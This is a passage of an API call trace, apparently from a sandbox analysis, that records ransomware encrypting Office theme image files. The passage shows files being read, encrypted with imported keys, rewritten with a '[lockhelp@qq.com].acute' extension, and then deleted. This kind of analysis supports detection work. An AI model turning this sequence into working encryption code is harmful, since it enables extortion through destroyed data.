files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0055.731] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x593260) returned 1 [0055.731] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0055.731] ReadFile (in: hFile=0x190, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x885, lpOverlapped=0x0) returned 1 [0055.734] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x890, dwBufLen=0x890 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x890) returned 1 [0055.734] WriteFile (in: hFile=0x1ac, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x890, lpOverlapped=0x0) returned 1 [0055.735] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x5931a0) returned 1 [0055.735] CryptSetKeyParam (hKey=0x5931a0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0055.735] CryptEncrypt (in: hKey=0x5931a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0055.735] CryptDestroyKey (hKey=0x5931a0) returned 1 [0055.735] WriteFile (in: hFile=0x1ac, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0055.735] CryptDestroyKey (hKey=0x593260) returned 1 [0055.735] CloseHandle (hObject=0x190) returned 1 [0055.735] CloseHandle (hObject=0x1ac) returned 1 [0055.736] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif")) returned 1 [0055.737] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.737] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0055.737] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=20627) returned 1 [0055.738] CloseHandle (hObject=0x1ac) returned 1 [0055.738] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png")) returned 0x20 [0055.738] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.738] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0055.738] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0055.738] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0055.738] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0055.738] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x593260) returned 1 [0055.738] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0055.738] ReadFile (in: hFile=0x1ac, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x5093, lpOverlapped=0x0) returned 1 [0055.879] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x50a0, dwBufLen=0x50a0 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x50a0) returned 1 [0055.879] WriteFile (in: hFile=0x190, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x50a0, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x50a0, lpOverlapped=0x0) returned 1 [0055.881] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x5932e0) returned 1 [0055.881] CryptSetKeyParam (hKey=0x5932e0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0055.881] CryptEncrypt (in: hKey=0x5932e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0055.881] CryptDestroyKey (hKey=0x5932e0) returned 1 [0055.881] WriteFile (in: hFile=0x190, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0055.881] CryptDestroyKey (hKey=0x593260) returned 1 [0055.881] CloseHandle (hObject=0x1ac) returned 1 [0055.881] CloseHandle (hObject=0x190) returned 1 [0055.882] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png")) returned 1 [0055.883] SetEvent (hEvent=0x14c) returned 1 [0055.884] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.884] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0055.891] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=33009) returned 1 [0055.891] CloseHandle (hObject=0x190) returned 1 [0055.891] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png")) returned 0x20 [0055.891] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.891] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0055.892] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0055.892] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0055.898] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0055.898] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x593260) returned 1 [0055.898] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0055.898] ReadFile (in: hFile=0x190, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x80f1, lpOverlapped=0x0) returned 1 [0055.923] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x8100, dwBufLen=0x8100 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x8100) returned 1 [0055.924] WriteFile (in: hFile=0x1ac, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x8100, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x8100, lpOverlapped=0x0) returned 1 [0055.925] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x5932e0) returned 1 [0055.925] CryptSetKeyParam (hKey=0x5932e0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0055.925] CryptEncrypt (in: hKey=0x5932e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0055.925] CryptDestroyKey (hKey=0x5932e0) returned 1 [0055.925] WriteFile (in: hFile=0x1ac, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0055.925] CryptDestroyKey (hKey=0x593260) returned 1 [0055.925] CloseHandle (hObject=0x190) returned 1 [0055.926] CloseHandle (hObject=0x1ac) returned 1 [0055.926] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png")) returned 1 [0055.928] SetEvent (hEvent=0x14c) returned 1 [0055.928] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.928] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0055.928] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=2722) returned 1 [0055.928] CloseHandle (hObject=0x1ac) returned 1 [0055.928] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif")) returned 0x20 [0055.928] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.928] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0055.928] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0055.928] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0055.929] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0055.931] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x593260) returned 1 [0055.931] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0055.931] ReadFile (in: hFile=0x1ac, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0xaa2, lpOverlapped=0x0) returned 1 [0055.937] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0xab0, dwBufLen=0xab0 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0xab0) returned 1 [0055.937] WriteFile (in: hFile=0x190, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xab0, lpOverlapped=0x0) returned 1 [0055.938] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x5932e0) returned 1 [0055.938] CryptSetKeyParam (hKey=0x5932e0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0055.938] CryptEncrypt (in: hKey=0x5932e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0055.938] CryptDestroyKey (hKey=0x5932e0) returned 1 [0055.938] WriteFile (in: hFile=0x190, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0055.938] CryptDestroyKey (hKey=0x593260) returned 1 [0055.938] CloseHandle (hObject=0x1ac) returned 1 [0055.938] CloseHandle (hObject=0x190) returned 1 [0055.939] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif")) returned 1 [0055.940] SetEvent (hEvent=0x14c) returned 1 [0055.940] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.940] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0055.942] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=43276) returned 1 [0055.943] CloseHandle (hObject=0x190) returned 1 [0055.943] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png")) returned 0x20 [0055.943] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.943] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0055.943] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0055.943] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0055.943] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0055.943] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x593260) returned 1 [0055.943] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0055.943] ReadFile (in: hFile=0x190, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0xa90c, lpOverlapped=0x0) returned 1 [0055.946] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0xa910, dwBufLen=0xa910 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0xa910) returned 1 [0055.947] WriteFile (in: hFile=0x1ac, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xa910, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xa910, lpOverlapped=0x0) returned 1 [0055.948] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x5932e0) returned 1 [0055.948] CryptSetKeyParam (hKey=0x5932e0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0055.948] CryptEncrypt (in: hKey=0x5932e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0055.948] CryptDestroyKey (hKey=0x5932e0) returned 1 [0055.948] WriteFile (in: hFile=0x1ac, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0055.948] CryptDestroyKey (hKey=0x593260) returned 1 [0055.949] CloseHandle (hObject=0x190) returned 1 [0055.949] CloseHandle (hObject=0x1ac) returned 1 [0055.950] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png")) returned 1 [0055.951] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.951] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0055.951] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=945) returned 1 [0055.951] CloseHandle (hObject=0x1ac) returned 1 [0055.951] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif")) returned 0x20 [0055.951] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.951] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0055.951] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0055.952] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0055.952] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0055.954] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x593260) returned 1 [0055.954] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0055.954] ReadFile (in: hFile=0x1ac, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x3b1, lpOverlapped=0x0) returned 1 [0055.957] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x3c0, dwBufLen=0x3c0 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x3c0) returned 1 [0055.957] WriteFile (in: hFile=0x190, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x3c0, lpOverlapped=0x0) returned 1 [0055.958] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x5932e0) returned 1 [0055.958] CryptSetKeyParam (hKey=0x5932e0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0055.958] CryptEncrypt (in: hKey=0x5932e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0055.958] CryptDestroyKey (hKey=0x5932e0) returned 1 [0055.958] WriteFile (in: hFile=0x190, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0055.959] CryptDestroyKey (hKey=0x593260) returned 1 [0055.959] CloseHandle (hObject=0x1ac) returned 1 [0055.959] CloseHandle (hObject=0x190) returned 1 [0055.962] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif")) returned 1 [0055.963] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.963] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft 